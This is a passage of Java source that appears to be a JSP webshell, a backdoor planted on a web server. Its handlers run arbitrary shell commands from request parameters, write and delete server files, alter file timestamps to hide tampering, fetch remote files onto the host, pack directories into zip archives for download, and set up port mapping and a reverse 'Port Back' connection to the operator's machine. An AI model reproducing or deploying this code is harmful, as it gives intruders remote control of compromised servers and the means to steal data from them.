1644" <select name='charset' id='fcharset' onchange=\"new fso({path:'"+path+"',charset:document.getElementById('fcharset').value}).vEdit()\" class='input'><option value='ANSI'>ANSI</option><option "+((!Util.isEmpty(charset) && charset.equals("UTF-8")) ? "selected" : "")+" value='UTF-8'>UTF-8</option></select></p>"+
1645"<p>File Content<br /><textarea class=\"area\" id=\"filecontent\" name=\"filecontent\" cols=\"100\" rows=\"25\" >"+Util.htmlEncode(content.toString())+"</textarea></p>"+
1646"<p>");
1647if (enter != null)
1648out.println("<input class=\"bt\" name=\"submit\" id=\"submit\" onclick=\"alert('You Are In File Now ! Can Not Save !')\" type=\"button\" value=\"Submit\">");
1649else
1650out.println("<input class=\"bt\" name=\"submit\" id=\"submit\" type=\"submit\" value=\"Submit\">");
1651out.println("<input class=\"bt\" type=\"button\" value=\"Back\" onclick=\"history.back()\"></p>"+
1652"</form>"+
1653"</td></tr></table>");
1654
1655} catch (Exception e) {
1656
1657throw e ;
1658}
1659}
1660}
1661private static class CreateFileInvoker extends DefaultInvoker {
1662public boolean doBefore(){return false;}
1663public boolean doAfter(){return false;}
1664public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1665try {
1666PrintWriter out = response.getWriter();
1667String path = request.getParameter("filepath");
1668String content = request.getParameter("filecontent");
1669String charset = request.getParameter("charset");
1670BufferedWriter outs = null;
1671if (charset.equals("ANSI"))
1672outs = new BufferedWriter(new FileWriter(new File(path)));
1673else
1674outs = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(path)),charset));
1675outs.write(content,0,content.length());
1676outs.close();
1677JSession.setAttribute(MSG,"Save File <span style='color:green'>"+(new File(path)).getName()+"</span> With <span style='font-weight:bold;color:red'>"+charset+"</span> Success!");
1678response.sendRedirect(SHELL_NAME);
1679} catch (Exception e) {
1680
1681throw e ;
1682}
1683}
1684}
1685private static class VEditPropertyInvoker extends DefaultInvoker {
1686public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1687try {
1688PrintWriter out = response.getWriter();
1689String filepath = request.getParameter("filepath");
1690File f = new File(filepath);
1691if (!f.exists())
1692return;
1693String read = f.canRead() ? "checked=\"checked\"" : "";
1694String write = f.canWrite() ? "checked=\"checked\"" : "";
1695Calendar cal = Calendar.getInstance();
1696cal.setTimeInMillis(f.lastModified());
1697
1698out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
1699"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
1700"<h2>Set File Property »</h2>"+
1701"<p>Current File (FullPath)<br /><input class=\"input\" name=\"file\" id=\"file\" value=\""+request.getParameter("filepath")+"\" type=\"text\" size=\"120\" /></p>"+
1702"<input type=\"hidden\" name=\"o\" value=\"editProperty\"> "+
1703"<p>"+
1704" <input type=\"checkbox\" disabled "+read+" name=\"read\" id=\"checkbox\">Read "+
1705" <input type=\"checkbox\" disabled "+write+" name=\"write\" id=\"checkbox2\">Write "+
1706"</p>"+
1707"<p>Instead »"+
1708"year:"+
1709"<input class=\"input\" name=\"year\" value="+cal.get(Calendar.YEAR)+" id=\"year\" type=\"text\" size=\"4\" />"+
1710"month:"+
1711"<input class=\"input\" name=\"month\" value="+(cal.get(Calendar.MONTH)+1)+" id=\"month\" type=\"text\" size=\"2\" />"+
1712"day:"+
1713"<input class=\"input\" name=\"date\" value="+cal.get(Calendar.DATE)+" id=\"date\" type=\"text\" size=\"2\" />"+
1714""+
1715"hour:"+
1716"<input class=\"input\" name=\"hour\" value="+cal.get(Calendar.HOUR)+" id=\"hour\" type=\"text\" size=\"2\" />"+
1717"minute:"+
1718"<input class=\"input\" name=\"minute\" value="+cal.get(Calendar.MINUTE)+" id=\"minute\" type=\"text\" size=\"2\" />"+
1719"second:"+
1720"<input class=\"input\" name=\"second\" value="+cal.get(Calendar.SECOND)+" id=\"second\" type=\"text\" size=\"2\" />"+
1721"</p>"+
1722"<p><input class=\"bt\" name=\"submit\" value=\"Submit\" id=\"submit\" type=\"submit\" value=\"Submit\"> <input class=\"bt\" name=\"submit\" value=\"Back\" id=\"submit\" type=\"button\" onclick=\"history.back()\"></p>"+
1723"</form>"+
1724"</td></tr></table>");
1725} catch (Exception e) {
1726throw e ;
1727}
1728}
1729}
1730private static class EditPropertyInvoker extends DefaultInvoker {
1731public boolean doBefore(){return false;}
1732public boolean doAfter(){return false;}
1733public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1734try {
1735String f = request.getParameter("file");
1736File file = new File(f);
1737if (!file.exists())
1738return;
1739
1740String year = request.getParameter("year");
1741String month = request.getParameter("month");
1742String date = request.getParameter("date");
1743String hour = request.getParameter("hour");
1744String minute = request.getParameter("minute");
1745String second = request.getParameter("second");
1746
1747Calendar cal = Calendar.getInstance();
1748cal.set(Calendar.YEAR,Integer.parseInt(year));
1749cal.set(Calendar.MONTH,Integer.parseInt(month)-1);
1750cal.set(Calendar.DATE,Integer.parseInt(date));
1751cal.set(Calendar.HOUR,Integer.parseInt(hour));
1752cal.set(Calendar.MINUTE,Integer.parseInt(minute));
1753cal.set(Calendar.SECOND,Integer.parseInt(second));
1754if(file.setLastModified(cal.getTimeInMillis())){
1755JSession.setAttribute(MSG,"Reset File Property Success!");
1756} else {
1757JSession.setAttribute(MSG,"<span style='color:red'>Reset File Property Failed!</span>");
1758}
1759response.sendRedirect(SHELL_NAME);
1760} catch (Exception e) {
1761
1762throw e ;
1763}
1764}
1765}
1766//VShell
1767private static class VsInvoker extends DefaultInvoker{
1768public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1769try {
1770PrintWriter out = response.getWriter();
1771String cmd = request.getParameter("command");
1772String program = request.getParameter("program");
1773if (cmd == null) {
1774if (ISLINUX)
1775cmd = "id";
1776else
1777cmd = "cmd.exe /c set";
1778}
1779if (program == null)
1780program = "cmd.exe /c net start > "+SHELL_DIR+"/Log.txt";
1781if (JSession.getAttribute(MSG)!=null) {
1782Util.outMsg(out,JSession.getAttribute(MSG).toString());
1783JSession.removeAttribute(MSG);
1784}
1785out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
1786"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
1787"<h2>Execute Program »</h2>"+
1788"<p>"+
1789"<input type=\"hidden\" name=\"o\" value=\"shell\">"+
1790"<input type=\"hidden\" name=\"type\" value=\"program\">"+
1791"Parameter<br /><input class=\"input\" name=\"program\" id=\"program\" value=\""+program+"\" type=\"text\" size=\"100\" />"+
1792"<input class=\"bt\" name=\"submit\" id=\"submit\" value=\"Execute\" type=\"submit\" size=\"100\" />"+
1793"</p>"+
1794"</form>"+
1795"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
1796"<h2>Execute Shell »</h2>"+
1797"<p>"+
1798"<input type=\"hidden\" name=\"o\" value=\"shell\">"+
1799"<input type=\"hidden\" name=\"type\" value=\"command\">"+
1800"Parameter<br /><input class=\"input\" name=\"command\" id=\"command\" value=\""+cmd+"\" type=\"text\" size=\"100\" />"+
1801"<input class=\"bt\" name=\"submit\" id=\"submit\" value=\"Execute\" type=\"submit\" size=\"100\" />"+
1802"</p>"+
1803"</form>"+
1804"</td>"+
1805"</tr></table>");
1806} catch (Exception e) {
1807
1808throw e ;
1809}
1810}
1811}
1812private static class ShellInvoker extends DefaultInvoker{
1813public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1814try {
1815PrintWriter out = response.getWriter();
1816String type = request.getParameter("type");
1817if (type.equals("command")) {
1818((Invoker)ins.get("vs")).invoke(request,response,JSession);
1819out.println("<div style='margin:10px'><hr/>");
1820out.println("<pre>");
1821String command = request.getParameter("command");
1822if (!Util.isEmpty(command)) {
1823Process pro = Runtime.getRuntime().exec(command);
1824BufferedReader reader = new BufferedReader(new InputStreamReader(pro.getInputStream()));
1825String s = reader.readLine();
1826while (s != null) {
1827out.println(Util.htmlEncode(Util.getStr(s)));
1828s = reader.readLine();
1829}
1830reader.close();
1831reader = new BufferedReader(new InputStreamReader(pro.getErrorStream()));
1832s = reader.readLine();
1833while (s != null) {
1834out.println(Util.htmlEncode(Util.getStr(s)));
1835s = reader.readLine();
1836}
1837reader.close();
1838out.println("</pre></div>");
1839}
1840} else {
1841String program = request.getParameter("program");
1842if (!Util.isEmpty(program)) {
1843Process pro = Runtime.getRuntime().exec(program);
1844JSession.setAttribute(MSG,"Program Has Run Success!");
1845((Invoker)ins.get("vs")).invoke(request,response,JSession);
1846}
1847}
1848} catch (Exception e) {
1849
1850throw e ;
1851}
1852}
1853}
1854private static class DownInvoker extends DefaultInvoker{
1855public boolean doBefore(){return false;}
1856public boolean doAfter(){return false;}
1857public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1858try {
1859String path = request.getParameter("path");
1860if (Util.isEmpty(path))
1861return;
1862InputStream i = null;
1863Object enter = JSession.getAttribute(ENTER);
1864String fileName = null;
1865if (enter == null) {
1866File f = new File(path);
1867if (!f.exists())
1868return;
1869fileName = f.getName();
1870i = new FileInputStream(f);
1871} else {
1872ZipFile zf = new ZipFile((String)enter);
1873ZipEntry entry = new ZipEntry(path);
1874fileName = entry.getName().substring(entry.getName().lastIndexOf("/") + 1);
1875i = zf.getInputStream(entry);
1876}
1877response.setHeader("Content-Disposition","attachment;filename="+URLEncoder.encode(fileName,PAGE_CHARSET));
1878BufferedInputStream input = new BufferedInputStream(i);
1879BufferedOutputStream output = new BufferedOutputStream(response.getOutputStream());
1880byte[] data = new byte[1024];
1881int len = input.read(data);
1882while (len != -1) {
1883output.write(data,0,len);
1884len = input.read(data);
1885}
1886input.close();
1887output.close();
1888} catch (Exception e) {
1889
1890throw e ;
1891}
1892}
1893}
1894//VDown
1895private static class VdInvoker extends DefaultInvoker {
1896public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1897try {
1898PrintWriter out = response.getWriter();
1899String savepath = request.getParameter("savepath");
1900String url = request.getParameter("url");
1901if (Util.isEmpty(url))
1902url = "http://www.forjj.com/";
1903if (Util.isEmpty(savepath)) {
1904savepath = JSession.getAttribute(CURRENT_DIR).toString();
1905}
1906if (!Util.isEmpty(JSession.getAttribute("done"))) {
1907Util.outMsg(out,"Download Remote File Success!");
1908JSession.removeAttribute("done");
1909}
1910out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
1911"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
1912"<h2>Remote File DownLoad »</h2>"+
1913"<p>"+
1914"<input type=\"hidden\" name=\"o\" value=\"downRemote\">"+
1915"<p>File URL: "+
1916" <input class=\"input\" name=\"url\" value=\""+url+"\" id=\"url\" type=\"text\" size=\"200\" /></p>"+
1917"<p>Save Path: "+
1918"<input class=\"input\" name=\"savepath\" id=\"savepath\" value=\""+savepath+"\" type=\"text\" size=\"200\" /></p>"+
1919"<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"DownLoad\" type=\"submit\" size=\"100\" />"+
1920"</p>"+
1921"</form></table>");
1922} catch (Exception e) {
1923
1924throw e ;
1925}
1926}
1927}
1928private static class DownRemoteInvoker extends DefaultInvoker {
1929public boolean doBefore(){return true;}
1930public boolean doAfter(){return true;}
1931public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1932try {
1933String downFileUrl = request.getParameter("url");
1934String savePath = request.getParameter("savepath");
1935if (Util.isEmpty(downFileUrl) || Util.isEmpty(savePath))
1936return;
1937URL downUrl = new URL(downFileUrl);
1938URLConnection conn = downUrl.openConnection();
1939
1940File tempF = new File(savePath);
1941File saveF = tempF;
1942if (tempF.isDirectory()) {
1943String fName = downFileUrl.substring(downFileUrl.lastIndexOf("/")+1);
1944saveF = new File(tempF,fName);
1945}
1946BufferedInputStream in = new BufferedInputStream(conn.getInputStream());
1947BufferedOutputStream out = new BufferedOutputStream(new FileOutputStream(saveF));
1948byte[] data = new byte[1024];
1949int len = in.read(data);
1950while (len != -1) {
1951out.write(data,0,len);
1952len = in.read(data);
1953}
1954in.close();
1955out.close();
1956JSession.setAttribute("done","d");
1957((Invoker)ins.get("vd")).invoke(request,response,JSession);
1958} catch (Exception e) {
1959
1960throw e ;
1961}
1962}
1963}
1964private static class IndexInvoker extends DefaultInvoker {
1965public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1966try {
1967((Invoker)ins.get("filelist")).invoke(request,response,JSession);
1968} catch (Exception e) {
1969
1970throw e ;
1971}
1972}
1973}
1974private static class MkDirInvoker extends DefaultInvoker {
1975public boolean doBefore(){return false;}
1976public boolean doAfter(){return false;}
1977public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1978try {
1979String name = request.getParameter("name");
1980File f = new File(name);
1981if (!f.isAbsolute()) {
1982String path = JSession.getAttribute(CURRENT_DIR).toString();
1983if (!path.endsWith("/"))
1984path += "/";
1985path += name;
1986f = new File(path);
1987}
1988f.mkdirs();
1989JSession.setAttribute(MSG,"Make Directory Success!");
1990response.sendRedirect(SHELL_NAME);
1991} catch (Exception e) {
1992
1993throw e ;
1994}
1995}
1996}
1997private static class MoveInvoker extends DefaultInvoker {
1998public boolean doBefore(){return false;}
1999public boolean doAfter(){return false;}
2000public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2001try {
2002PrintWriter out = response.getWriter();
2003String src = request.getParameter("src");
2004String target = request.getParameter("to");
2005if (!Util.isEmpty(target) && !Util.isEmpty(src)) {
2006File file = new File(src);
2007if(file.renameTo(new File(target))) {
2008JSession.setAttribute(MSG,"Move File Success!");
2009} else {
2010String msg = "Move File Failed!";
2011if (file.isDirectory()) {
2012msg += "The Move Will Failed When The Directory Is Not Empty.";
2013}
2014JSession.setAttribute(MSG,msg);
2015}
2016response.sendRedirect(SHELL_NAME);
2017}
2018} catch (Exception e) {
2019
2020throw e ;
2021}
2022}
2023}
2024private static class RemoveDirInvoker extends DefaultInvoker {
2025public boolean doBefore(){return false;}
2026public boolean doAfter(){return false;}
2027public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2028try {
2029String dir = request.getParameter("dir");
2030File file = new File(dir);
2031if (file.exists()) {
2032deleteFile(file);
2033deleteDir(file);
2034}
2035
2036JSession.setAttribute(MSG,"Remove Directory Success!");
2037response.sendRedirect(SHELL_NAME);
2038} catch (Exception e) {
2039
2040throw e ;
2041}
2042}
2043public void deleteFile(File f) {
2044if (f.isFile()) {
2045f.delete();
2046}else {
2047File[] list = f.listFiles();
2048for (int i = 0;i<list.length;i++) {
2049 File ff=list[i];
2050deleteFile(ff);
2051}
2052}
2053}
2054public void deleteDir(File f) {
2055File[] list = f.listFiles();
2056if (list.length == 0) {
2057f.delete();
2058} else {
2059for (int i = 0;i<list.length;i++) {
2060 File ff=list[i];
2061deleteDir(ff);
2062}
2063deleteDir(f);
2064}
2065}
2066}
2067private static class PackBatchInvoker extends DefaultInvoker{
2068public boolean doBefore(){return false;}
2069public boolean doAfter(){return false;}
2070public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2071try {
2072String files = request.getParameter("files");
2073if (Util.isEmpty(files))
2074return;
2075String saveFileName = request.getParameter("savefilename");
2076File saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName);
2077if (saveF.exists()) {
2078JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!");
2079response.sendRedirect(SHELL_NAME);
2080return;
2081}
2082ZipOutputStream zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
2083String[] arr = files.split(",");
2084for (int i = 0;i<arr.length;i++) {
2085 String f=arr[i];
2086File pF = new File(JSession.getAttribute(CURRENT_DIR).toString(),f);
2087ZipEntry entry = new ZipEntry(pF.getName());
2088zout.putNextEntry(entry);
2089FileInputStream fInput = new FileInputStream(pF);
2090int len = 0;
2091byte[] buf = new byte[1024];
2092while ((len = fInput.read(buf)) != -1) {
2093zout.write(buf, 0, len);
2094zout.flush();
2095}
2096fInput.close();
2097}
2098zout.close();
2099JSession.setAttribute(MSG,"Pack Files Success!");
2100response.sendRedirect(SHELL_NAME);
2101} catch (Exception e) {
2102
2103throw e;
2104}
2105}
2106}
2107private static class VPackConfigInvoker extends DefaultInvoker{
2108public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2109try {
2110PrintWriter out = response.getWriter();
2111String packfile = request.getParameter("packedfile");
2112String currentd = JSession.getAttribute(CURRENT_DIR).toString();
2113out.println("<form action='"+SHELL_NAME+"' method='post'>"+
2114"<input type='hidden' name='o' value='pack'/>"+
2115"<input type='hidden' name='config' value='true'/>"+
2116"<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
2117" <tr>"+
2118" <td><h2 id=\"Bin_H2_Title\">Pack Configuration >><hr/></h2>"+
2119" <div id=\"hOWTm\">"+
2120" <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
2121" <tr align=\"center\">"+
2122" <td style=\"width:5%\"></td>"+
2123" <td align=\"center\"><table border=\"0\">"+
2124" <tr>"+
2125" <td>Packed Dir</td>"+
2126" <td><input type=\"text\" name=\"packedfile\" size='100' value=\""+packfile+"\" class=\"input\"/></td>"+
2127" </tr>"+
2128" <tr>"+
2129" <td>Save To</td>"+
2130" <td><input type=\"text\" name=\"savefilename\" size='100' value=\""+((currentd.endsWith("/") ? currentd : currentd+"/")+"pack.zip")+"\" class=\"input\"/></td>"+
2131" </tr>"+
2132" <tr>"+
2133" <td colspan=\"2\"><fieldset><legend>Ext Filter</legend>"+
2134" <input type='radio' name='extfilter' value='no'/>no <input checked type='radio' name='extfilter' value='blacklist'/>Blacklist <input type='radio' name='extfilter' value='whitelist'/>Whitelist"+
2135" <hr/><input type='text' class='input' size='100' value='mp3,wmv,rm,rmvb,avi' name='fileext'/>"+
2136" </fieldset></td>"+
2137" </tr>"+
2138" <tr>"+
2139" <td>Filesize Filter</td>"+
2140" <td><input type=\"text\" name=\"filesize\" value=\"0\" class=\"input\"/>(KB) "+
2141" <input type='radio' name='sizefilter' value='no' checked>no <input type='radio' name='sizefilter' value='greaterthan'>greaterthan<input type='radio' name='sizefilter' value='lessthan'>lessthan</td>"+
2142" </tr>"+
2143" <tr>"+
2144" <td>Exclude Dir</td>"+
2145" <td><input type=\"text\" name=\"exclude\" size='100' class=\"input\"/></td>"+
2146" </tr>"+
2147" </table></td>"+
2148" </tr>"+
2149" <tr align=\"center\">"+
2150" <td colspan=\"2\">"+
2151" <input type=\"submit\" name=\"FJE\" value=\"Pack\" id=\"FJE\" class=\"bt\" />"+
2152" </td>"+
2153" </tr>"+
2154" </table>"+
2155" </div></td>"+
2156" </tr>"+
2157" </table></form>"
2158);
2159} catch (Exception e) {
2160
2161throw e;
2162}
2163}
2164}
2165private static class PackInvoker extends DefaultInvoker {
2166public boolean doBefore(){return false;}
2167public boolean doAfter(){return false;}
2168private boolean config = false;
2169private String extFilter = "blacklist";
2170private String[] fileExts = null;
2171private String sizeFilter = "no";
2172private int filesize = 0;
2173private String[] exclude = null;
2174private String packFile = null;
2175private void reset(){
2176this.config = false;
2177this.extFilter = "blacklist";
2178this.fileExts = null;
2179this.sizeFilter = "no";
2180this.filesize = 0;
2181this.exclude = null;
2182this.packFile = null;
2183}
2184public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2185try {
2186String config = request.getParameter("config");
2187if (!Util.isEmpty(config) && config.equals("true")) {
2188this.config = true;
2189this.extFilter = request.getParameter("extfilter");
2190this.fileExts = request.getParameter("fileext").split(",");
2191this.sizeFilter = request.getParameter("sizefilter");
2192this.filesize = Integer.parseInt(request.getParameter("filesize"));
2193this.exclude = request.getParameter("exclude").split(",");
2194}
2195String packedFile = request.getParameter("packedfile");
2196if (Util.isEmpty(packedFile))
2197return;
2198this.packFile = packedFile;
2199String saveFileName = request.getParameter("savefilename");
2200File saveF = null;
2201if (this.config)
2202saveF = new File(saveFileName);
2203else
2204saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName);
2205if (saveF.exists()) {
2206JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!");
2207response.sendRedirect(SHELL_NAME);
2208return;
2209}
2210File pF = new File(packedFile);
2211ZipOutputStream zout = null;
2212String base = "";
2213if (pF.isDirectory()) {
2214if (pF.listFiles().length == 0) {
2215JSession.setAttribute(MSG,"No File To Pack ! Maybe The Directory Is Empty .");
2216response.sendRedirect(SHELL_NAME);
2217this.reset();
2218return;
2219}
2220zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
2221zipDir(pF,base,zout);
2222} else {
2223zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
2224zipFile(pF,base,zout);
2225}
2226zout.close();
2227this.reset();
2228JSession.setAttribute(MSG,"Pack File Success!");
2229response.sendRedirect(SHELL_NAME);
2230} catch (Exception e) {
2231throw e;
2232}
2233}
2234public void zipDir(File f,String base,ZipOutputStream zout) throws Exception {
2235if (f.isDirectory()) {
2236if (this.config) {
2237String curName = f.getAbsolutePath().replace('\\','/');
2238curName = curName.replaceAll("\\Q"+this.packFile+"\\E","");
2239if (this.exclude != null) {
2240for (int i = 0;i<exclude.length;i++) {
2241if (!Util.isEmpty(exclude[i]) && curName.startsWith(exclude[i])) {
2242return;
2243}
2244}
2245}
2246}
2247File[] arr = f.listFiles();
2248for (int i = 0;i<arr.length;i++) {
2249 File ff=arr[i];
2250String tmpBase = base;
2251if (!Util.isEmpty(tmpBase) && !tmpBase.endsWith("/"))
2252tmpBase += "/";
2253zipDir(ff,tmpBase+f.getName(),zout);
2254}
2255} else {
2256String tmpBase = base;
2257if (!Util.isEmpty(tmpBase) &&!tmpBase.endsWith("/"))
2258tmpBase += "/";
2259zipFile(f,tmpBase,zout);
2260}
2261
2262}
2263public void zipFile(File f,String base,ZipOutputStream zout) throws Exception{
2264if (this.config) {
2265String ext = f.getName().substring(f.getName().lastIndexOf('.')+1);
2266if (this.extFilter.equals("blacklist")) {
2267if (Util.exists(this.fileExts,ext)) {
2268return;
2269}
2270} else if (this.extFilter.equals("whitelist")) {
2271if (!Util.exists(this.fileExts,ext)) {
2272return;
2273}
2274}
2275if (!this.sizeFilter.equals("no")) {
2276double size = f.length() / 1024;
2277if (this.sizeFilter.equals("greaterthan")) {
2278if (size < filesize)
2279return;
2280} else if (this.sizeFilter.equals("lessthan")) {
2281if (size > filesize)
2282return;
2283}
2284}
2285}
2286ZipEntry entry = new ZipEntry(base+f.getName());
2287zout.putNextEntry(entry);
2288FileInputStream fInput = new FileInputStream(f);
2289int len = 0;
2290byte[] buf = new byte[1024];
2291while ((len = fInput.read(buf)) != -1) {
2292zout.write(buf, 0, len);
2293zout.flush();
2294}
2295fInput.close();
2296}
2297}
2298private static class UnPackInvoker extends DefaultInvoker {
2299public boolean doBefore(){return false;}
2300public boolean doAfter(){return false;}
2301public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2302try {
2303String savepath = request.getParameter("savepath");
2304String zipfile = request.getParameter("zipfile");
2305if (Util.isEmpty(savepath) || Util.isEmpty(zipfile))
2306return;
2307File save = new File(savepath);
2308save.mkdirs();
2309ZipFile file = new ZipFile(new File(zipfile));
2310Enumeration e = file.entries();
2311while (e.hasMoreElements()) {
2312ZipEntry en = (ZipEntry) e.nextElement();
2313String entryPath = en.getName();
2314int index = entryPath.lastIndexOf("/");
2315if (index != -1)
2316entryPath = entryPath.substring(0,index);
2317File absEntryFile = new File(save,entryPath);
2318if (!absEntryFile.exists() && (en.isDirectory() || en.getName().indexOf("/") != -1))
2319absEntryFile.mkdirs();
2320BufferedOutputStream output = null;
2321BufferedInputStream input = null;
2322try {
2323output = new BufferedOutputStream(
2324new FileOutputStream(new File(save,en.getName())));
2325input = new BufferedInputStream(
2326file.getInputStream(en));
2327byte[] b = new byte[1024];
2328int len = input.read(b);
2329while (len != -1) {
2330output.write(b, 0, len);
2331len = input.read(b);
2332}
2333} catch (Exception ex) {
2334} finally {
2335try {
2336if (output != null)
2337output.close();
2338if (input != null)
2339input.close();
2340} catch (Exception ex1) {
2341}
2342}
2343}
2344file.close();
2345JSession.setAttribute(MSG,"UnPack File Success!");
2346response.sendRedirect(SHELL_NAME);
2347} catch (Exception e) {
2348
2349throw e ;
2350}
2351}
2352}
2353//VMapPort
2354private static class VmpInvoker extends DefaultInvoker {
2355public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2356try {
2357PrintWriter out = response.getWriter();
2358Object localIP = JSession.getAttribute("localIP");
2359Object localPort = JSession.getAttribute("localPort");
2360Object remoteIP = JSession.getAttribute("remoteIP");
2361Object remotePort = JSession.getAttribute("remotePort");
2362Object done = JSession.getAttribute("done");
2363
2364JSession.removeAttribute("localIP");
2365JSession.removeAttribute("localPort");
2366JSession.removeAttribute("remoteIP");
2367JSession.removeAttribute("remotePort");
2368JSession.removeAttribute("done");
2369
2370if (Util.isEmpty(localIP))
2371localIP = InetAddress.getLocalHost().getHostAddress();
2372if (Util.isEmpty(localPort))
2373localPort = "3389";
2374if (Util.isEmpty(remoteIP))
2375remoteIP = "www.forjj.com";
2376if (Util.isEmpty(remotePort))
2377remotePort = "80";
2378if (!Util.isEmpty(done))
2379Util.outMsg(out,done.toString());
2380
2381out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
2382"<input type=\"hidden\" name=\"o\" value=\"mapPort\">"+
2383" <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
2384" <tr>"+
2385" <td><h2 id=\"Bin_H2_Title\">PortMap >><hr/></h2>"+
2386" <div id=\"hOWTm\">"+
2387" <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
2388" <tr align=\"center\">"+
2389" <td style=\"width:5%\"></td>"+
2390" <td style=\"width:20%\" align=\"left\"><br/>Local Ip :"+
2391" <input name=\"localIP\" id=\"localIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+localIP+"\" />"+
2392" </td>"+
2393" <td style=\"width:20%\" align=\"left\">Local Port :"+
2394" <input name=\"localPort\" id=\"localPort\" type=\"text\" class=\"input\" size=\"20\" value=\""+localPort+"\" /></td>"+
2395" <td style=\"width:20%\" align=\"left\">Remote Ip :"+
2396" <input name=\"remoteIP\" id=\"remoteIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+remoteIP+"\" /></td>"+
2397" <td style=\"width:20%\" align=\"left\">Remote Port :"+
2398" <input name=\"remotePort\" id=\"remotePort\" type=\"text\" class=\"input\" size=\"20\" value=\""+remotePort+"\" /></td>"+
2399" </tr>"+
2400" <tr align=\"center\">"+
2401" <td colspan=\"5\"><br/>"+
2402" <input type=\"submit\" name=\"FJE\" value=\"MapPort\" id=\"FJE\" class=\"bt\" />"+
2403" <input type=\"button\" name=\"giX\" value=\"ClearAll\" id=\"giX\" onClick=\"location.href='"+SHELL_NAME+"?o=smp'\" class=\"bt\" />"+
2404" </td>"+
2405" </tr>"+
2406" </table>"+
2407" </div>"+
2408"</td>"+
2409"</tr>"+
2410"</table>"+
2411"</form>");
2412String targetIP = request.getParameter("targetIP");
2413String targetPort = request.getParameter("targetPort");
2414String yourIP = request.getParameter("yourIP");
2415String yourPort = request.getParameter("yourPort");
2416if (Util.isEmpty(targetIP))
2417targetIP = "127.0.0.1";
2418if (Util.isEmpty(targetPort))
2419targetPort = "3389";
2420if (Util.isEmpty(yourIP))
2421yourIP = request.getRemoteAddr();
2422if (Util.isEmpty(yourPort))
2423yourPort = "53";
2424out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
2425"<input type=\"hidden\" name=\"o\" value=\"portBack\">"+
2426" <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
2427" <tr>"+
2428" <td><h2 id=\"Bin_H2_Title\">Port Back >><hr/></h2>"+
2429" <div id=\"hOWTm\">"+
2430" <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
2431" <tr align=\"center\">"+
2432" <td style=\"width:5%\"></td>"+
2433" <td style=\"width:20%\" align=\"left\"><br/>Target Ip :"+
2434" <input name=\"targetIP\" id=\"targetIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+targetIP+"\" />"+
2435" </td>"+
2436" <td style=\"width:20%\" align=\"left\">Target Port :"+
2437" <input name=\"targetPort\" id=\"targetPort\" type=\"text\" class=\"input\" size=\"20\" value=\""+targetPort+"\" /></td>"+
2438" <td style=\"width:20%\" align=\"left\">Your Ip :"+
2439" <input name=\"yourIP\" id=\"yourIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+yourIP+"\" /></td>"+
2440" <td style=\"width:20%\" align=\"left\">Your Port :"+
2441" <input name=\"yourPort\" id=\"yourPort\" type=\"text\" class=\"input\" size=\"20\" value=\""+yourPort+"\" /></td>"+
2442" </tr>"+
2443" <tr align=\"center\">"+
2444" <td colspan=\"5\"><br/>"+
2445" <input type=\"submit\" name=\"FJE\" value=\"Port Back\" id=\"FJE\" class=\"bt\" />"+
2446" </td>"+
2447" </tr>"+
2448" </table>"+
2449" </div>"+
2450"</td>"+
2451"</tr>"+
2452"</table>"+
2453"</form>");
2454} catch (Exception e) {
2455
2456throw e ;
2457}
